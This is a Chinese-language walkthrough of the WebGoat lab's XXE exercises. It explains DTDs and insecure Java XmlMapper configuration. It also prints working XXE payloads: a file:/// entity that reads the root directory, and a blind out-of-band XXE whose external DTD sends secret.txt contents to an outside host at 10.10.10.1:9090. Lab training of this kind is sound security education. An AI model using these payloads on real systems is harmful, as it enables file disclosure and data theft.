XXE外部实体注入—WEBGOAT靶场
XXE外部实体注入—WEBGOAT靶场

XXE外部实体注入—WEBGOAT靶场

4.XXE外部实体注入

尝试抓包看看:发现该评论框以XML形式传输信息

发到repeat,修改请求包,进行XML实体注入

在请求包的body换成如下XML:
<?xml version="1.0"?>

<!DOCTYPE cat [

  <!ENTITY root SYSTEM "file:///">

]>



<comment>  <text>&root;</text></comment>

发送,发现提示通过

接下来在proxy中同样操作就行

发现评论区输出了根目录下的文件信息

注意:

在实体注入的时候不能少了DTD声明<!DOCTYPE cat [ <!ENTITY root SYSTEM “file:///”> ]>也就是标黄的部分

DTD

DTD 指的是文档类型定义(Document Type Definition)。它是一种文本文件,用于定义 XML 文档中可以包含哪些元素和属性等内容。在 XML 解析过程中,解析器会根据 DTD 来验证 XML 文件的结构和元素内容等方面是否符合规范

DTD 定义了XML文档所包含的元素、实体以及属性等信息。在DTD中我们可以定义文档类型、元素、属性、实体、符号、注释等内容。一个完整的 DTD 包含文档类型声明和文档内容定义两部分。其中文档类型声明是声明整个XML文档的支持信息,而文档内容定义是定义XML文档中各个元素和其它相关信息的具体定义。

DTD 的使用能够帮助使用者更好地组织和管理 XML 文件,并且能够提供有效的错误检查和代码提示,确保 XML 文档的正确性和可读性,从而提高XML的使用效率和可靠性。

可以尝试不加DTD声明发现输出了XML解析报错信息

6.通过代码审查查找 XXE

通过代码审查查找 XXE

下面将会解释在第六部分代码,在java代码审计中查找XXE,我在原文的基础上做了些注释,红色部分为注释

现在我们知道注射是如何工作的,让我们看看为什么会发生这种情况。在 Java 应用程序中,XML 库配置默认不安全,您必须更改设置(下面就讲解为什么是不安全的)。假设您在代码审查期间发现以下代码片段:

public XmlMapper xmlMapper() {
  return new XmlMapper(XMLInputFactory.newInstance()) 
}

注释:搜索下这段代码,发现这个函数用于生成一个XmlMapper对象这个对象用于XML数据做序列化和反序列化的操作,相当于XML的解析器

以下是搜索原文:

这是一个示例代码片段,演示了如何创建一个 Jackson 的 XmlMapper 对象,并配置了一个 XMLInputFactory。
在这段代码中,xmlMapper() 方法返回一个 XmlMapper 对象,通过调用 XMLInputFactory.newInstance() 创建一个新的 XMLInputFactory 实例,并将其作为参数传递给 XmlMapper 的构造函数。
XmlMapper 是 Jackson 框架的一个类,用于序列化和反序列化 XML 数据。它提供了许多方法来读取、处理和生成 XML 文档。
注意,该示例可能还需要根据实际需求进行调整和配置,例如添加更多的模块或自定义设置。而且根据上下文,还可能需要将返回的 XmlMapper 对象配置到其他地方进行进一步的使用。

原文中说到了XML的序列化和反序列化,搜下什么是序列化和反序列化。其实就是将对象转化为容易传输和储存的一项技术,我的理解是类似压缩,在在传输储存前将对象压缩,在使用的时候在解压缩。提高了传输和储存的效率

以下是搜索原文:序列化和反序列化 XML 数据什么意思

序列化和反序列化是将数据转换为不同的格式的过程
在上下文中,序列化指的是将对象转换为可以存储或传输的格式,例如将对象转换为 JSON、XML 或二进制数据等。在序列化过程中,对象的属性值被转换为可以表示和存储的形式。这样,对象就可以以某种形式进行存储、传输或持久化,并在需要时重新还原成对象。
而反序列化则是相反的过程,它将序列化后的数据重新转换为对象。通过反序列化,我们可以将以序列化格式存储的数据重新恢复为原始的对象,以便进一步处理、操作或使用。
在示例代码中,XmlMapper 提供了序列化和反序列化 XML 数据的功能。具体来说,它可以将 Java 对象序列化为 XML 格式的数据,以及将 XML 数据反序列化为 Java 对象。这种能力可以帮助我们在 Java 应用程序中与 XML 数据进行交互和处理。

问:解析器是否易受攻击?

我们来看看XMLFactory

这里浏览器翻译的有点问题直接换成了原文:

注释:解释下上面代码的意思,xmlin传入XmlFactory后将会判断该对象是否为空,如果不为空则创建一个新实体,并对这个对象设置如下参数:1.设置禁用外部实体扩展2.禁用 DTD 支持,而既然我们能够传入XmlIn则XmlIn永远不会为NULL则只要通过XmlMapper(XMLInputFactory inputF)传入参数就默认得到了一个可以外部实体拓展和支持DTD的XML解析器

上述代码搜索的原文:

在代码中,有两个构造函数,一个是公共的构造函数 XmlFactory(XMLInputFactory xmlIn),另一个是受保护的构造函数 XmlFactory(XMLInputFactory xmlIn, XMLOutputFactory xmlOut, ...)
公共构造函数中,如果传入的 xmlIn 参数为空,则会调用 XMLInputFactory.newInstance() 创建一个新的 XMLInputFactory 实例,并对其进行一些配置。例如,通过 setProperty 方法设置 XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES 属性为 Boolean.FALSE,以禁用外部实体扩展,以及设置 XMLInputFactory.SUPPORT_DTD 属性为 Boolean.FALSE,以禁用 DTD 支持。
受保护构造函数按照传入的参数创建 XmlFactory 对象,并在必要时对传入的 xmlIn 和 xmlOut 进行配置。
这段代码表明 XmlFactory 可以用于创建 XML 解析器和生成器,并进行自定义的配置,以满足特定的需求和安全性要求。

7.现代REST框架

根据文章提示,发现传输的是JSON数据,将content-type修改成xml传入xml即可

就可以响应根目录下的文件信息了,这里类似于任意文件读取了。

11.Blind XXE assignment

外带XXE实体注入:
<?xml version="1.0"?>

<!DOCTYPE foo [

<!ENTITY % dtd SYSTEM "http://10.10.10.1:9090/files/vagary/1.dtd">

%dtd;

%print;

%send;

]>

<comment>  <text>cute</text></comment>
注:
这段 XML 代码定义了一个名为 foo 的 DOCTYPE。在 foo DOCTYPE 中,使用了一个实体声明 <!ENTITY % dtd SYSTEM"..." >,其中 %dtd; 表示一个参数实体。

在这个实体声明中,使用 SYSTEM 指令指明 dtd 参数实体的值是来自 http://10.10.10.1:9090/files/vagary/1.dtd 这个地址的文件内容。

紧接着在 foo DOCTYPE 中,使用了 %dtd; 插入了 dtd 参数实体的内容。在 dtd 实体中,使用了另外两个实体 %print; 和 %send;。

%print; 和 %send; 两个实体在 1.dtd 文件中定义,分别表示打印输出和发送请求。它们将根据 %file; 实体的值发送请求到指定的 URL 中。

最后,XML 代码中还包含了一个 <comment> 元素和一个 <text> 元素。

其中1.dtd的内容是:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.1.0//XXE/secret.txt">
<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://10.10.10.1:9090/landing?text=%file;'>">

注:
这段代码是一个简单的 XML 文件。它包含了两个实体声明和一个注释。

第一个实体声明是 %file,它将本地文件系统上的 secret.txt 文件的路径指定为 file:///home/webgoat/.webgoat-8.1.0//XXE/secret.txt。

第二个实体声明是 %print,它定义了一个参数实体 %send,表示将发送请求到 http://10.10.10.1:9090/landing?text=%file; 这个 URL。其中,%file; 实体引用将被替换为 secret.txt 文件的内容。

这段代码的作用是定义了一个发送请求到指定 URL 并包含本地文件内容的实体引用结构。

得到/home/webgoat/.webgoat-8.1.0//XXE/secret.txt中的文件内容:

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注